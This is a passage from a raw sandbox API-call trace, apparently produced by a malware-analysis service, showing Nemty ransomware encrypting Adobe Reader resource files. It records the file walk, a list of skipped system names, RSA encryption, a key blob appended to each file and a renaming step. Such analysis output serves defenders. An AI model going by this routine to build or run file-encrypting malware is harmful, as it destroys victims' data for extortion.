lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ja.txt", lpUsedDefaultChar=0x0) returned 27 [0215.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ja.txt", lpUsedDefaultChar=0x0) returned 27 [0215.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ja.txt", lpUsedDefaultChar=0x0) returned 27 [0215.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ja.txt", lpUsedDefaultChar=0x0) returned 27 [0215.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.909] Sleep (dwMilliseconds=0x5) [0215.917] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34559ab0, dwHighDateTime=0x1d561e8)) [0215.917] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34559ab0, dwHighDateTime=0x1d561e8)) [0215.917] GetLastError () returned 0x0 [0215.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.918] GetLastError () returned 0x0 [0215.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.918] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.918] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.918] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0215.918] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="r0eyV7/SmcwI16CN1o5v4FpINgXtI8StnTEAIvEd2gKoeWAkSTpgtjToNU88MJpT\r\nCEsfEfvG5gTmnzrbLL0He7zeWd5NMaB2evaQZF9Zw/HmSe7xY2GFnyMjP5eWqs9Q\r\n0i098usA2ROXmLQwGSpjEL53g4POiPCa/VFhNjpzBr5IC9jy5pJrrjp+MLOJbUyb\r\nIGiCJLGX7HutquU1Rx8cQn1jjqDvXqRfVo5G7MKp2uaKiTZxcIWTHB0H6dWqnhiD\r\nTvj5ykn7Geie6C1GGMYnF62SIeCY/4iYwKA76bL6foSugodah3WV3mu8Ooa+J9+3\r\nrd+P0ag71Ur4+mHo6C5yMg==\r\n", pcchString=0x653e5dc) returned 1 [0215.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0215.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.918] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.919] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=25962) returned 1 [0215.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6560) returned 0x6352c48 [0215.919] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.919] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6560, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6560, lpOverlapped=0x0) returned 1 [0215.922] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.922] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6560, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6560, lpOverlapped=0x0) returned 1 [0215.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.922] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=25962, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x656a [0215.922] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.922] CloseHandle (hObject=0x2e8) returned 1 [0215.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.923] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja.txt._nemty_kgobjgd_")) returned 1 [0215.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.924] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x656a, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ja_JP.txt", cAlternateFileName="DI3A02~1.TXT")) returned 1 [0215.924] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP.txt", lpString2=".") returned 1 [0215.924] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP.txt", lpString2="..") returned 1 [0215.924] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP.txt", lpString2="...") returned 1 [0215.924] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP.txt", lpString2="windows") returned -1 [0215.924] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.924] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP.txt", lpString2="rsa") returned -1 [0215.924] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP.txt", lpString2="NTDETECT.COM") returned -1 [0215.924] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP.txt", lpString2="ntldr") returned -1 [0215.924] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP.txt", lpString2="MSDOS.SYS") returned -1 [0215.924] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP.txt", lpString2="IO.SYS") returned -1 [0215.924] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP.txt", lpString2="boot.ini") returned 1 [0215.924] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP.txt", lpString2="boot.ini") returned 1 [0215.924] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.924] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP.txt", lpString2="ntuser.dat") returned -1 [0215.924] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP.txt", lpString2="desktop.ini") returned 1 [0215.924] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP.txt", lpString2="CONFIG.SYS") returned 1 [0215.924] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP.txt", lpString2="RECYCLER") returned -1 [0215.924] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.924] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP.txt", lpString2="bootmgr") returned 1 [0215.924] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP.txt", lpString2="programdata") returned -1 [0215.924] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP.txt", lpString2="appdata") returned 1 [0215.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja_JP.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja_JP.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ja_JP.txt", lpUsedDefaultChar=0x0) returned 30 [0215.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja_JP.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja_JP.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ja_JP.txt", lpUsedDefaultChar=0x0) returned 30 [0215.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja_JP.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja_JP.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ja_JP.txt", lpUsedDefaultChar=0x0) returned 30 [0215.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja_JP.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja_JP.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ja_JP.txt", lpUsedDefaultChar=0x0) returned 30 [0215.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.925] Sleep (dwMilliseconds=0x5) [0215.933] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3457fc10, dwHighDateTime=0x1d561e8)) [0215.933] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3457fc10, dwHighDateTime=0x1d561e8)) [0215.933] GetLastError () returned 0x0 [0215.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.933] GetLastError () returned 0x0 [0215.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.933] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.933] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.933] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0215.933] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="Tj3R/3e+iP1dCgOXiOGtc0eaUe4Sa8ss7X6eFgJkpieI+UT1QME7adEKzNS0wwxr\r\n+/yWL18WKMmTO3JZAo+kx6FPU9IMg/ysVjsV1O4HiPNyzB794IDuiwnvdDE/55dR\r\nyyM2AsyQcTI1OnSJ+auFX0IYA8LYDepBNI9Jl3cF/kPiL3zy2OlUhh9ccxEql2i9\r\nikeU2UlF3alH59W+tcK0D34XEDpoc6gq7881uEWR/TqgvOh+p+EcXmr6vGPerxxE\r\nLXRPs8DUcZB3e9j99PhslQ7wG69TmY/W9wtjfta5nNSsABJ6rr69UTJHVbjiOVKK\r\nEsXtaiRJ8vBXqau3ZZX+aA==\r\n", pcchString=0x653e5dc) returned 1 [0215.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0215.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.934] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.935] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=25962) returned 1 [0215.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6560) returned 0x6352c48 [0215.935] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.935] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6560, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6560, lpOverlapped=0x0) returned 1 [0215.938] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.938] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6560, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6560, lpOverlapped=0x0) returned 1 [0215.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.938] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=25962, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x656a [0215.938] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.938] CloseHandle (hObject=0x2e8) returned 1 [0215.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.939] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 